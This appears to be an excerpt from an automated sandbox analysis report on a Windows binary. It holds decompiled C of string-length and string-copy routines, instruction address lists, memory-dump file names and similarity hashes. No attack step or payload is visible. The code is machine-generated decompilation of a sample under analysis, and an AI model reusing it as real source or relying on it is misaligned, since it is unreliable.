												_t357 = _v44;
												_t246 = _v32;
												__eflags = _t319;
											} while (_t319 != 0);
											goto L52;
										}
										goto L39;
									}
									_t279 =  *_t344;
									 *_t311 = _t279;
									__eflags = _t279;
									if(_t279 == 0) {
										goto L33;
									}
									_v60 = _t413;
									_t280 = 0;
									__eflags = 0;
									_v64 = _t283;
									_v68 = _t449;
									while(1) {
										_t280 = _t280 + 1;
										_t301 =  *((char*)(_t344 + _t280 * 2 - 1));
										 *(_t311 + _t280 * 2 - 1) = _t301;
										__eflags = _t301;
										if(_t301 == 0) {
											break;
										}
										_t302 =  *((char*)(_t344 + _t280 * 2));
										 *(_t311 + _t280 * 2) = _t302;
										__eflags = _t302;
										if(_t302 != 0) {
											continue;
										}
										break;
									}
									_t413 = _v60;
									_t283 = _v64;
									_t449 = _v68;
									goto L33;
								}
							}
							_t311 = _v56;
							goto L36;
						}
						_t400 = _t406 & 0x0000000f;
						__eflags = _t400;
						if(_t400 == 0) {
							L15:
							asm("pxor xmm0, xmm0");
							_t308 =  ~( ~_t400 + 0x0000000f & 0x0000000f) + 0x7fffffff;
							__eflags = _t308;
							while(1) {
								asm("movdqu xmm1, [edi+edx]");
								asm("pcmpeqb xmm1, xmm0");
								asm("pmovmskb eax, xmm1");
								__eflags = _t231;
								if(_t231 != 0) {
									break;
								}
								_t400 = _t400 + 0x10;
								__eflags = _t400 - _t308;
								if(_t400 < _t308) {
									continue;
								}
								__eflags = _t308 - 0x7fffffff;
								if(_t308 >= 0x7fffffff) {
									L21:
									_t310 = 0x40;
									_t283 = 0x7fffffff;
									goto L22;
								} else {
									goto L19;
								}
								while(1) {
									L19:
									__eflags =  *((char*)(_t308 + _t406));
									if( *((char*)(_t308 + _t406)) == 0) {
										break;
									}
									_t308 = _t308 + 1;
									__eflags = _t308 - 0x7fffffff;
									if(_t308 < 0x7fffffff) {
										continue;
									}
									goto L21;
								}
								L209:
								__eflags = _t283 - 0xfffffffe;
								if(_t283 != 0xfffffffe) {
									_t310 = 0x40;
								} else {
									 *_t406 = 0;
									_t310 = _v52;
								}
								goto L22;
							}
							asm("bsf ebx, eax");
							_t283 = _t308 + _t400;
							goto L209;
						}
						_t283 = 0;
						_t400 =  ~_t400 + 0x10;
						__eflags = _t400;
						while(1) {
							__eflags =  *((char*)(_t283 + _t406));
							if( *((char*)(_t283 + _t406)) == 0) {
								goto L209;
							}
							_t283 = _t283 + 1;
							__eflags = _t283 - _t400;
							if(_t283 < _t400) {
								continue;
							}
							goto L15;
						}
						goto L209;
					}
					_t237 =  &_v56;
					goto L37;
				}
				if(_t406 == 0) {
					L6:
					_push(1);
					_push(_t230);
					E6ED410B0();
					_t485 = _t485 + 8;
					goto L8;
				}
				_t402 =  *_t230;
				 *_t406 = _t402;
				if(_t402 == 0) {
					goto L6;
				}
				_t340 = 0;
				while(1) {
					_t340 = _t340 + 1;
					_t403 =  *((char*)(_t230 + _t340 * 2 - 1));
					 *((char*)(_t406 + _t340 * 2 - 1)) = _t403;
					if(_t403 == 0) {
						goto L6;
					}
					_t404 =  *((char*)(_t230 + _t340 * 2));
					 *((char*)(_t406 + _t340 * 2)) = _t404;
					if(_t404 != 0) {
						continue;
					}
					goto L6;
				}
				goto L6;
			}

0x6ed52e6e
0x6ed52e72
0x6ed52e74
0x6ed52e78
0x6ed52e7f
0x6ed52e81
0x6ed52e84
0x6ed52e8a
0x6ed52ec1
0x6ed52ec4
0x6ed52ec4
0x6ed52ec8
0x6ed52ed0
0x6ed52ed6
0x6ed52ee1
0x6ed52ee3
0x6ed537d3
0x6ed537d8
0x6ed52f5d
0x6ed52f62
0x6ed52f62
0x6ed52f65
0x6ed52f68
0x6ed52f6b
0x6ed52f6d
0x6ed52f82
0x6ed52f85
0x6ed52f85
0x6ed52f8b
0x6ed52f93
0x6ed52f93
0x6ed52f93
0x6ed52f96
0x6ed52f9d
0x6ed52fa0
0x6ed52fa6
0x6ed52fa8
0x6ed52fab
0x6ed52faf
0x6ed52fb1
0x6ed53006
0x00000000
0x6ed52fb3
0x6ed52fb3
0x6ed52fb5
0x6ed52ff1
0x6ed52ff1
0x6ed52ff3
0x6ed52ff4
0x6ed52ff8
0x6ed52ffd
0x6ed53001
0x6ed53009
0x6ed53009
0x6ed5300d
0x6ed53011
0x6ed53015
0x6ed53018
0x6ed5301e
0x6ed53023
0x6ed53023
0x6ed53025
0x6ed53029
0x6ed5302e
0x6ed5303d
0x6ed5303d
0x6ed53041
0x6ed53043
0x6ed5304b
0x6ed5304d
0x6ed53050
0x6ed53054
0x6ed5308e
0x6ed53135
0x6ed53135
0x6ed53137
0x6ed5313e
0x6ed5313e
0x6ed53140
0x6ed53144
0x6ed53150
0x6ed53154
0x6ed53161
0x6ed53161
0x6ed53058
0x6ed5307e
0x6ed5307e
0x6ed53080
0x6ed53081
0x6ed53086
0x00000000
0x6ed53086
0x6ed5305a
0x6ed5305d
0x6ed53061
0x00000000
0x00000000
0x6ed53063
0x6ed53065
0x6ed53065
0x6ed53066
0x6ed5306b
0x6ed53071
0x00000000
0x00000000
0x6ed53073
0x6ed53077
0x6ed5307c
0x00000000
0x00000000
0x00000000
0x6ed5307c
0x00000000
0x6ed53065
0x6ed53032
0x6ed53035
0x6ed5303b
0x6ed53096
0x6ed53098
0x6ed5309c
0x6ed5309e
0x6ed530e4
0x6ed530e4
0x6ed530e8
0x6ed530ea
0x6ed530f2
0x6ed530f4
0x6ed530f7
0x6ed530f9
0x6ed530fb
0x6ed53132
0x00000000
0x6ed53132
0x6ed530fd
0x6ed530ff
0x6ed53125
0x6ed53125
0x6ed53127
0x6ed53128
0x6ed5312d
0x00000000
0x6ed5312d
0x6ed53101
0x6ed53104
0x6ed53106
0x6ed53108
0x00000000
0x00000000
0x6ed5310a
0x6ed5310a
0x6ed5310c
0x6ed5310c
0x6ed5310d
0x6ed53112
0x6ed53116
0x6ed53118
0x00000000
0x00000000
0x6ed5311a
0x6ed5311e
0x6ed53121
0x6ed53123
0x00000000
0x00000000
0x00000000
0x6ed53123
0x00000000
0x6ed5310c
0x6ed530a0
0x6ed530a3
0x00000000
0x00000000
0x6ed530a5
0x6ed530a7
0x6ed530a9
0x6ed530a9
0x6ed530ac
0x6ed530b0
0x6ed530b3
0x6ed530b6
0x6ed530b9
0x6ed530bc
0x6ed530bc
0x6ed530be
0x6ed530be
0x6ed530c4
0x6ed530ca
0x6ed530cd
0x6ed530cf
0x00000000
0x00000000
0x6ed530d5
0x6ed530d6
0x6ed530d7
0x6ed530db
0x6ed530df
0x00000000
0x00000000
0x6ed530e1
0x6ed530e1
0x00000000
0x6ed530e1
0x6ed53164
0x6ed53167
0x6ed53169
0x00000000
0x00000000
0x6ed53173
0x6ed53176
0x6ed53182
0x6ed53182
0x6ed53185
0x6ed5318c
0x6ed53190
0x6ed53192
0x6ed53192
0x6ed53194
0x6ed53196
0x6ed531af
0x6ed531bf
0x6ed531bf
0x6ed531c5
0x6ed531c5
0x6ed531ca
0x6ed531ce
0x6ed531d2
0x6ed531d4
0x00000000
0x00000000
0x6ed531da
0x6ed531dd
0x6ed531df
0x00000000
0x00000000
0x6ed531e5
0x6ed531eb
0x6ed53204
0x6ed53204
0x6ed53209
0x6ed53209
0x6ed5320c
0x6ed5320c
0x6ed5320e
0x6ed53212
0x6ed53216
0x6ed5321a
0x6ed53221
0x6ed5322a
0x6ed5322d
0x6ed53230
0x6ed53236
0x6ed53239
0x6ed5323c
0x6ed5323e
0x00000000
0x00000000
0x6ed5324a
0x6ed5324c
0x6ed53254
0x6ed53254
0x6ed53258
0x6ed5325c
0x6ed5325f
0x6ed5325f
0x6ed53261
0x00000000
0x00000000
0x6ed53267
0x6ed5326b
0x6ed5326b
0x6ed5326d
0x6ed5326f
0x6ed5326f
0x6ed53270
0x00000000
0x00000000
0x6ed53276
0x6ed5327a
0x00000000
0x00000000
0x6ed53280
0x6ed53289
0x6ed5328c
0x6ed5328f
0x6ed53293
0x6ed53297
0x6ed53297
0x6ed53298
0x6ed53299
0x6ed532a0
0x6ed532a3
0x6ed532a9
0x6ed532ac
0x6ed532ae
0x00000000
0x00000000
0x6ed532b4
0x6ed532b7
0x00000000
0x00000000
0x6ed532b9
0x6ed532b9
0x6ed532bd
0x6ed532c1
0x6ed532c4
0x6ed532c4
0x6ed532c6
0x6ed532df
0x6ed532ef
0x6ed532ef
0x6ed532f5
0x6ed532f5
0x6ed532fa
0x6ed532fe
0x6ed53302
0x6ed53304
0x00000000
0x00000000
0x6ed5330a
0x6ed5330d
0x6ed5330f
0x00000000
0x00000000
0x6ed53311
0x6ed53317
0x6ed5332c
0x6ed5332c
0x6ed53331
0x6ed53335
0x6ed53335
0x6ed53338
0x6ed53350
0x6ed53360
0x6ed53360
0x6ed53366
0x6ed53366
0x6ed5336b
0x6ed5336f
0x6ed53373
0x6ed53375
0x00000000
0x00000000
0x6ed5337b
0x6ed5337e
0x6ed53380
0x00000000
0x00000000
0x6ed53382
0x6ed53385
0x6ed5338b
0x6ed533a0
0x6ed533a0
0x6ed533a5
0x6ed533a5
0x6ed533ab
0x6ed533ad
0x6ed533af
0x6ed533b1
0x6ed533b3
0x6ed533b6
0x6ed533b8
0x6ed533bb
0x6ed533be
0x6ed533c0
0x6ed533c0
0x6ed533c2
0x6ed533c6
0x6ed53519
0x6ed53519
0x6ed53520
0x6ed53522
0x6ed53525
0x6ed53527
0x6ed53529
0x6ed53563
0x00000000
0x6ed53563
0x6ed5352b
0x6ed5352d
0x6ed53553
0x6ed53553
0x6ed53555
0x6ed53556
0x6ed5355b
0x00000000
0x6ed5355b
0x6ed5352f
0x6ed53532
0x6ed53534
0x6ed53536
0x00000000
0x00000000
0x6ed53538
0x6ed53538
0x6ed5353a
0x6ed5353a
0x6ed5353b
0x6ed53540
0x6ed53544
0x6ed53546
0x00000000
0x00000000
0x6ed53548
0x6ed5354c
0x6ed5354f
0x6ed53551
0x00000000
0x00000000
0x00000000
0x6ed53551
0x00000000
0x6ed5353a
0x6ed533cc
0x6ed533d0
0x6ed533d4
0x00000000
0x00000000
0x6ed533da
0x6ed533dc
0x6ed53451
0x6ed53456
0x6ed53456
0x6ed53459
0x6ed5345c
0x6ed5345f
0x6ed53461
0x6ed53477
0x6ed5347a
0x6ed5347a
0x6ed53480
0x6ed53488
0x6ed53488
0x6ed53488
0x6ed5348b
0x6ed53495
0x6ed53498
0x6ed5349b
0x6ed534a1
0x6ed534a3
0x6ed534a6
0x6ed534a8
0x6ed534aa
0x6ed534e4
0x00000000
0x6ed534ac
0x6ed534ac
0x6ed534ae
0x6ed534d7
0x6ed534d7
0x6ed534d9
0x6ed534da
0x6ed534df
0x6ed534e7
0x6ed534ea
0x6ed534ed
0x6ed534ef
0x6ed534ef
0x6ed534f1
0x00000000
0x00000000
0x6ed534f7
0x6ed534fb
0x6ed53501
0x6ed53501
0x6ed53504
0x6ed53505
0x6ed53507
0x6ed53509
0x00000000
0x00000000
0x6ed5350b
0x6ed5350d
0x6ed5356b
0x00000000
0x6ed5356b
0x6ed5350f
0x6ed5350f
0x6ed53511
0x00000000
0x00000000
0x6ed534ff
0x6ed53500
0x6ed53500
0x6ed53500
0x6ed53501
0x6ed534b0
0x6ed534b3
0x6ed534b5
0x6ed534b7
0x00000000
0x00000000
0x6ed534b9
0x6ed534b9
0x6ed534bb
0x6ed534bb
0x6ed534bc
0x6ed534c1
0x6ed534c5
0x6ed534c7
0x00000000
0x00000000
0x6ed534c9
0x6ed534cd
0x6ed534d0
0x6ed534d2
0x00000000
0x00000000
0x00000000
0x6ed534d2
0x6ed534d4
0x00000000
0x6ed534d4
0x6ed534aa
0x6ed53463
0x00000000
0x6ed53463
0x6ed533de
0x6ed533e0
0x6ed533e4
0x6ed533e4
0x6ed533e7
0x6ed533ff
0x6ed5340f
0x6ed5340f
0x6ed53415
0x6ed53415
0x6ed5341a
0x6ed5341e
0x6ed53422
0x6ed53424
0x00000000
0x00000000
0x6ed5342a
0x6ed5342d
0x6ed5342f
0x00000000
0x00000000
0x6ed53431
0x6ed53437
0x6ed5344c
0x6ed5344c
0x00000000
0x6ed5344c
0x6ed53439
0x6ed5343d
0x6ed5343d
0x6ed53441
0x00000000
0x00000000
0x6ed53443
0x6ed53444
0x6ed5344a
0x00000000
0x00000000
0x00000000
0x6ed5344a
0x00000000
0x6ed5343d
0x6ed53574
0x6ed53577
0x00000000
0x6ed53577
0x6ed533eb
0x6ed533ed
0x6ed533f1
0x6ed533f1
0x6ed533f4
0x6ed533f4
0x6ed533f8
0x00000000
0x00000000
0x6ed533fa
0x6ed533fb
0x6ed533fd
0x00000000
0x00000000
0x00000000
0x6ed533fd
0x00000000
0x6ed533f4
0x6ed5338d
0x6ed53391
0x6ed53391
0x6ed53395
0x00000000
0x00000000
0x6ed53397
0x6ed53398
0x6ed5339e
0x00000000
0x00000000
0x00000000
0x6ed5339e
0x00000000
0x6ed53391
0x6ed5357e
0x6ed53581
0x6ed53584
0x00000000
0x6ed53584
0x6ed5333c
0x6ed5333e
0x6ed53342
0x6ed53342
0x6ed53345
0x6ed53345
0x6ed53349
0x00000000
0x00000000
0x6ed5334b
0x6ed5334c
0x6ed5334e
0x00000000
0x00000000
0x00000000
0x6ed5334e
0x00000000
0x6ed53345
0x6ed53319
0x6ed5331d
0x6ed5331d
0x6ed53321
0x00000000
0x00000000
0x6ed53323
0x6ed53324
0x6ed5332a
0x00000000
0x00000000
0x00000000
0x6ed5332a
0x00000000
0x6ed5331d
0x6ed5358b
0x6ed5358e
0x00000000
0x6ed5358e
0x6ed532c8
0x6ed532cc
0x6ed532cc
0x6ed532ce
0x6ed532d2
0x6ed532d4
0x6ed532d4
0x6ed532d8
0x00000000
0x00000000
0x6ed532da
0x6ed532db
0x6ed532dd
0x00000000
0x00000000
0x00000000
0x6ed532dd
0x00000000
0x6ed532d4
0x6ed53595
0x6ed53599
0x6ed5359d
0x6ed5359f
0x00000000
0x00000000
0x6ed535a5
0x6ed535a9
0x6ed535ad
0x6ed535b1
0x6ed535b5
0x6ed535b5
0x6ed535b7
0x6ed535b9
0x6ed535d2
0x6ed535e2
0x6ed535e2
0x6ed535e8
0x6ed535e8
0x6ed535ed
0x6ed535f1
0x6ed535f5
0x6ed535f7
0x00000000
0x00000000
0x6ed535fd
0x6ed53600
0x6ed53602
0x00000000
0x00000000
0x6ed53608
0x6ed5360e
0x6ed53627
0x6ed53627
0x6ed5362c
0x6ed5362c
0x6ed5362f
0x6ed5362f
0x6ed53631
0x6ed53635
0x6ed53639
0x6ed5363d
0x6ed53644
0x6ed5364d
0x6ed53650
0x6ed53653
0x6ed53659
0x6ed5365c
0x6ed5365f
0x6ed53661
0x00000000
0x00000000
0x6ed53665
0x6ed53667
0x6ed53673
0x6ed53673
0x6ed53677
0x6ed5367b
0x6ed5367b
0x6ed5367d
0x00000000
0x00000000
0x00000000
0x6ed5367d
0x6ed53669
0x6ed5366a
0x6ed5366d
0x00000000
0x00000000
0x00000000
0x6ed5366d
0x6ed5368f
0x6ed53699
0x6ed53699
0x6ed5369a
0x00000000
0x00000000
0x6ed5369c
0x6ed536a5
0x6ed536aa
0x6ed536ad
0x6ed536b1
0x00000000
0x00000000
0x6ed536b3
0x6ed536b7
0x6ed536b7
0x6ed536b8
0x6ed536b9
0x6ed536c3
0x6ed536c9
0x6ed536cc
0x6ed536ce
0x00000000
0x00000000
0x6ed536d0
0x6ed536d3
0x00000000
0x00000000
0x00000000
0x6ed536d5
0x00000000
0x6ed536b7
0x6ed53610
0x6ed53614
0x6ed53614
0x6ed53618
0x00000000
0x00000000
0x6ed5361e
0x6ed5361f
0x6ed53625
0x00000000
0x00000000
0x00000000
0x6ed53625
0x6ed536fa
0x6ed536fa
0x6ed536fc
0x00000000
0x00000000
0x6ed53702
0x00000000
0x00000000
0x6ed53708
0x6ed5370c
0x6ed53710
0x00000000
0x6ed53710
0x6ed53719
0x6ed53720
0x00000000
0x6ed53720
0x6ed535bb
0x6ed535bf
0x6ed535c1
0x6ed535c1
0x6ed535c3
0x6ed535c3
0x6ed535c7
0x00000000
0x00000000
0x6ed535cd
0x6ed535ce
0x6ed535d0
0x00000000
0x00000000
0x00000000
0x6ed535d0
0x00000000
0x6ed536de
0x6ed536de
0x6ed536e2
0x6ed536e6
0x6ed536e6
0x6ed536ee
0x6ed536ee
0x6ed536f2
0x00000000
0x6ed536f2
0x6ed53683
0x6ed53683
0x00000000
0x6ed53687
0x6ed5324e
0x6ed5324f
0x6ed53252
0x00000000
0x00000000
0x00000000
0x6ed53252
0x6ed53724
0x6ed5372e
0x6ed5372e
0x6ed5372f
0x00000000
0x00000000
0x6ed53735
0x6ed5373e
0x6ed53743
0x6ed53746
0x6ed5374a
0x00000000
0x00000000
0x6ed53750
0x6ed53754
0x6ed53754
0x6ed53755
0x6ed53756
0x6ed53760
0x6ed53766
0x6ed53769
0x6ed5376b
0x00000000
0x00000000
0x6ed5376d
0x6ed53770
0x00000000
0x00000000
0x00000000
0x6ed53772
0x00000000
0x6ed53754
0x6ed531ed
0x6ed531f1
0x6ed531f1
0x6ed531f5
0x00000000
0x00000000
0x6ed531fb
0x6ed531fc
0x6ed53202
0x00000000
0x00000000
0x00000000
0x6ed53202
0x6ed53777
0x6ed53777
0x6ed53779
0x00000000
0x00000000
0x6ed5377f
0x00000000
0x00000000
0x6ed53785
0x6ed53789
0x00000000
0x6ed53789
0x6ed53791
0x6ed53798
0x00000000
0x6ed53798
0x6ed53198
0x6ed5319c
0x6ed5319e
0x6ed5319e
0x6ed531a0
0x6ed531a0
0x6ed531a4
0x00000000
0x00000000
0x6ed531aa
0x6ed531ab
0x6ed531ad
0x00000000
0x00000000
0x00000000
0x6ed531ad
0x00000000
0x6ed5379c
0x6ed5379c
0x6ed537a0
0x6ed537a4
0x6ed537a4
0x00000000
0x6ed537ac
0x00000000
0x6ed5303b
0x6ed52fb7
0x6ed52fba
0x6ed52fbc
0x6ed52fbe
0x00000000
0x00000000
0x6ed52fc0
0x6ed52fc4
0x6ed52fc4
0x6ed52fc6
0x6ed52fca
0x6ed52fcd
0x6ed52fcd
0x6ed52fce
0x6ed52fd3
0x6ed52fd7
0x6ed52fd9
0x00000000
0x00000000
0x6ed52fdb
0x6ed52fdf
0x6ed52fe2
0x6ed52fe4
0x00000000
0x00000000
0x00000000
0x6ed52fe4
0x6ed52fe6
0x6ed52fea
0x6ed52fee
0x00000000
0x6ed52fee
0x6ed52fb1
0x6ed52f6f
0x00000000
0x6ed52f6f
0x6ed52eeb
0x6ed52eeb
0x6ed52eee
0x6ed52f06
0x6ed52f0a
0x6ed52f16
0x6ed52f16
0x6ed52f1c
0x6ed52f1c
0x6ed52f21
0x6ed52f25
0x6ed52f29
0x6ed52f2b
0x00000000
0x00000000
0x6ed52f31
0x6ed52f34
0x6ed52f36
0x00000000
0x00000000
0x6ed52f38
0x6ed52f3e
0x6ed52f53
0x6ed52f53
0x6ed52f58
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed52f40
0x6ed52f40
0x6ed52f40
0x6ed52f44
0x00000000
0x00000000
0x6ed52f4a
0x6ed52f4b
0x6ed52f51
0x00000000
0x00000000
0x00000000
0x6ed52f51
0x6ed537b1
0x6ed537b1
0x6ed537b4
0x6ed537c2
0x6ed537b6
0x6ed537b6
0x6ed537b9
0x6ed537b9
0x00000000
0x6ed537b4
0x6ed537cc
0x6ed537cf
0x00000000
0x6ed537cf
0x6ed52ef2
0x6ed52ef4
0x6ed52ef4
0x6ed52ef7
0x6ed52ef7
0x6ed52efb
0x00000000
0x00000000
0x6ed52f01
0x6ed52f02
0x6ed52f04
0x00000000
0x00000000
0x00000000
0x6ed52f04
0x00000000
0x6ed52ef7
0x6ed52ed8
0x00000000
0x6ed52ed8
0x6ed52e8e
0x6ed52eb4
0x6ed52eb4
0x6ed52eb6
0x6ed52eb7
0x6ed52ebc
0x00000000
0x6ed52ebc
0x6ed52e90
0x6ed52e93
0x6ed52e97
0x00000000
0x00000000
0x6ed52e99
0x6ed52e9b
0x6ed52e9b
0x6ed52e9c
0x6ed52ea1
0x6ed52ea7
0x00000000
0x00000000
0x6ed52ea9
0x6ed52ead
0x6ed52eb2
0x00000000
0x00000000
0x00000000
0x6ed52eb2
0x00000000

Strings

@, xrefs: 6ED52EC8

Memory Dump Source

Source File: 00000000.00000002.791906460.000000006ED31000.00000020.00020000.sdmp, Offset: 6ED30000, based on PE: true

Associated: 00000000.00000002.791898803.000000006ED30000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791929720.000000006ED65000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791939935.000000006ED6B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.791948148.000000006ED6C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 115c3439d82789a76028cc64ba03a0b0cd7b01c7d0591427b9fbd30026037de6
Instruction ID: 04fb290b7f4c3f416215b8fb9ac4998a2d092a307f9fccfa4f0a443021e04096
Opcode Fuzzy Hash: 115c3439d82789a76028cc64ba03a0b0cd7b01c7d0591427b9fbd30026037de6
Instruction Fuzzy Hash: 03524971908793CBDB05CFADC49032ABBE26FC6354F18865DD8E54B39AD731C8658782

Uniqueness

Uniqueness Score: -1.00%

Function 6ED57660, Relevance: 2.0, Strings: 1, Instructions: 793
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E6ED57660(intOrPtr* __ecx, signed int* _a4, signed int _a8) {
				signed int _v32;
				intOrPtr* _v36;
				intOrPtr _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _t203;
				signed int _t206;
				signed int* _t207;
				signed int* _t216;
				signed int _t217;
				signed int _t219;
				signed int _t221;
				signed int _t222;
				signed int _t225;
				signed int _t226;
				signed int _t227;
				signed int _t228;
				signed int _t229;
				signed int _t230;
				signed int _t231;
				signed int* _t234;
				signed int _t236;
				signed int _t237;
				signed int _t239;
				signed int _t242;
				signed int _t243;
				signed int _t244;
				signed int _t245;
				signed int* _t248;
				signed int _t250;
				signed int _t251;
				signed int _t259;
				signed int _t262;
				void* _t264;
				signed int _t265;
				signed int _t266;
				signed int* _t269;
				signed int _t271;
				signed int _t272;
				signed int _t275;
				signed int _t280;
				signed int* _t281;
				signed int _t284;
				signed int _t286;
				signed int _t287;
				signed int _t288;
				signed int _t294;
				signed int _t298;
				signed int _t299;
				signed int _t300;
				intOrPtr _t303;
				signed int _t304;
				signed int _t305;
				signed int _t306;
				signed int _t308;
				signed int _t309;
				signed int _t311;
				signed int _t312;
				signed int _t313;
				signed int _t314;
				signed int _t315;
				signed int* _t316;
				signed int _t324;
				signed int _t326;
				unsigned int _t331;
				signed int _t333;
				signed int* _t335;
				signed int _t337;
				signed int* _t339;
				char _t340;
				char _t341;
				signed int _t343;
				intOrPtr* _t344;
				signed int _t345;
				signed int _t346;
				signed int _t347;
				signed int _t349;
				void* _t350;
				signed int _t351;
				signed int _t352;
				signed int _t353;
				signed int _t359;
				signed int _t361;
				signed int _t363;
				signed int _t365;
				signed int _t366;
				signed int _t367;
				unsigned int _t372;
				signed int _t374;
				signed int* _t376;
				signed int _t377;
				signed int _t378;
				intOrPtr* _t380;
				intOrPtr* _t382;
				signed int _t383;
				signed int _t384;
				signed int _t385;
				intOrPtr* _t386;
				void* _t387;
				signed int _t388;
				intOrPtr* _t390;
				unsigned int _t396;
				signed int _t398;
				void* _t399;
				signed int _t400;
				signed int _t401;
				intOrPtr _t402;
				signed int _t403;
				signed int _t404;
				signed int _t407;
				signed int _t414;
				signed int _t415;
				signed int _t422;
				signed int _t428;
				signed int _t429;
				unsigned int _t434;
				signed int _t437;
				void* _t439;
				void* _t441;

				_t439 = (_t437 & 0xfffffff0) - 0x34;
				_t390 = __ecx;
				_t303 =  *__ecx;
				if(_t303 != 0) {
					_t343 =  *( *( *(__ecx + 4)));
					__eflags = _t343;
					if(_t343 == 0) {
						L35:
						_push(0x40);
						_t284 = E6ED41030();
						_t439 = _t439 + 4;
						__eflags =  *_t390 - 1;
						 *_t284 = 0;
						if( *_t390 <= 1) {
							goto L203;
						} else {
							_t415 = 0x40;
							goto L37;
						}
					} else {
						__eflags =  *_t343;
						if( *_t343 == 0) {
							goto L35;
						} else {
							_t262 = _t343 & 0x0000000f;
							__eflags = _t262;
							if(_t262 == 0) {
								L16:
								asm("pxor xmm0, xmm0");
								_t294 =  ~( ~_t262 + 0x0000000f & 0x0000000f) + 0x7fffffff;
								__eflags = _t294;
								_v64 = _t294;
								_t429 = _t294;
								while(1) {
									asm("movdqu xmm1, [edx+eax]");
									asm("pcmpeqb xmm1, xmm0");
									asm("pmovmskb ebx, xmm1");
									__eflags = _t294;
									if(_t294 != 0) {
										break;
									}
									_t262 = _t262 + 0x10;
									__eflags = _t262 - _t429;
									if(_t262 < _t429) {
										continue;
									} else {
										_v64 = _t429;
										__eflags = _v64 - 0x7fffffff;
										if(_v64 >= 0x7fffffff) {
											L23:
											_v64 = 0x7fffffff;
										} else {
											_t275 = _t429;
											while(1) {
												__eflags =  *((char*)(_t275 + _t343));
												if( *((char*)(_t275 + _t343)) == 0) {
													break;
												}
												_t275 = _t275 + 1;
												__eflags = _t275 - 0x7fffffff;
												if(_t275 < 0x7fffffff) {
													continue;
												} else {
													goto L23;
												}
												goto L24;
											}
											_v64 = _t275;
										}
									}
									goto L24;
								}
								asm("bsf ebx, ebx");
								_v64 = _t294 + _t262;
							} else {
								_v64 = 0;
								_t299 = _v64;
								_t262 =  ~_t262 + 0x10;
								__eflags = _t262;
								while(1) {
									__eflags =  *((char*)(_t299 + _t343));
									if( *((char*)(_t299 + _t343)) == 0) {
										break;
									}
									_t299 = _t299 + 1;
									__eflags = _t299 - _t262;
									if(_t299 < _t262) {
										continue;
									} else {
										goto L16;
									}
									goto L24;
								}
								_v64 = _t299;
							}
							L24:
							_t264 = _v64 + 1;
							__eflags = _t264 - 0x40;
							_t265 =  <=  ? 0x40 : _t264;
							__eflags = _t265;
							if(_t265 > 0) {
								_t434 = (_t265 >> 5 >> 0x1a) + _t265 >> 6;
								_t266 = _t265 & 0x8000003f;
								__eflags = _t266;
								if(_t266 < 0) {
									_t266 = (_t266 - 0x00000001 | 0xffffffc0) + 1;
									__eflags = _t266;
								}
								__eflags = _t266;
								_t415 = _t434 + (0 | _t266 > 0x00000000) << 6;
								_push(_t415);
								_v68 = _t343;
								_t269 = E6ED41030();
								_t385 = _v68;
								_t339 = _t269;
								_t439 = _t439 + 4;
								_v60 = 0;
								_v44 = _t339;
								_v36 = _t390;
								 *_t339 = 0;
								_v68 =  *_t390;
								_t298 = _v60;
								_t404 = _v64;
								while(1) {
									_t271 =  *_t385;
									_t298 = _t298 + 1;
									 *_t339 = _t271;
									__eflags = _t404;
									if(_t404 == 0) {
										goto L33;
									}
									__eflags = _t298 - _t404;
									if(_t298 == _t404) {
										_t284 = _v44;
										_t272 = _v68;
										_t390 = _v36;
										_t339[0] = 0;
									} else {
										goto L33;
									}
									L206:
									__eflags = _t272 - 1;
									if(_t272 > 1) {
										goto L37;
									} else {
										goto L157;
									}
									goto L200;
									L33:
									__eflags = _t271;
									if(_t271 == 0) {
										_t284 = _v44;
										_t272 = _v68;
										_t390 = _v36;
									} else {
										_t339 =  &(_t339[0]);
										_t385 = _t385 + 1;
										__eflags = _t385;
										continue;
									}
									goto L206;
								}
							} else {
								_t284 = 0;
								__eflags = _t303 - 1;
								if(_t303 <= 1) {
									L203:
									_t344 = _a4;
									_t203 = 0;
									 *_t344 = 0;
									 *((intOrPtr*)(_t344 + 4)) = 0;
									__eflags = _t284;
									if(_t284 == 0) {
										goto L191;
									} else {
										goto L158;
									}
								} else {
									_t415 = 0;
									L37:
									_t308 = _a8 & 0x0000000f;
									asm("pxor xmm0, xmm0");
									_t359 =  ~_t308 + 0x10;
									__eflags = _t359;
									_v52 = _t359;
									_v56 = _t308;
									_v48 = _t415;
									_v36 = _t390;
									_t400 = 1;
									goto L38;
									do {
										do {
											do {
												L38:
												__eflags = _a8;
												if(_a8 != 0) {
													_t363 = _a8;
													__eflags =  *_t363;
													if( *_t363 != 0) {
														__eflags = _t284 - _a8;
														if(_t284 != _a8) {
															_t229 = _v56;
															__eflags = _t229;
															if(_t229 == 0) {
																L46:
																asm("pxor xmm1, xmm1");
																_t422 =  ~( ~_t229 + 0x0000000f & 0x0000000f) + 0x7fffffff;
																__eflags = _t422;
																while(1) {
																	asm("movdqu xmm0, [ecx+eax]");
																	asm("pcmpeqb xmm0, xmm1");
																	asm("pmovmskb edx, xmm0");
																	__eflags = _t363;
																	if(_t363 != 0) {
																		break;
																	}
																	_t229 = _t229 + 0x10;
																	__eflags = _t229 - _t422;
																	if(_t229 < _t422) {
																		continue;
																	} else {
																		__eflags = _t422 - 0x7fffffff;
																		if(_t422 >= 0x7fffffff) {
																			L53:
																			_t422 = 0x7fffffff;
																		} else {
																			_t363 = _a8;
																			while(1) {
																				__eflags =  *((char*)(_t422 + _t363));
																				if( *((char*)(_t422 + _t363)) == 0) {
																					goto L54;
																				}
																				_t422 = _t422 + 1;
																				__eflags = _t422 - 0x7fffffff;
																				if(_t422 < 0x7fffffff) {
																					continue;
																				} else {
																					goto L53;
																				}
																				goto L54;
																			}
																		}
																	}
																	goto L54;
																}
																asm("bsf esi, edx");
																_t422 = _t422 + _t229;
															} else {
																_t229 = _v52;
																_t422 = 0;
																__eflags = 0;
																_t324 = _a8;
																_t363 = _t229;
																while(1) {
																	__eflags =  *((char*)(_t422 + _t324));
																	if( *((char*)(_t422 + _t324)) == 0) {
																		break;
																	}
																	_t422 = _t422 + 1;
																	__eflags = _t422 - _t363;
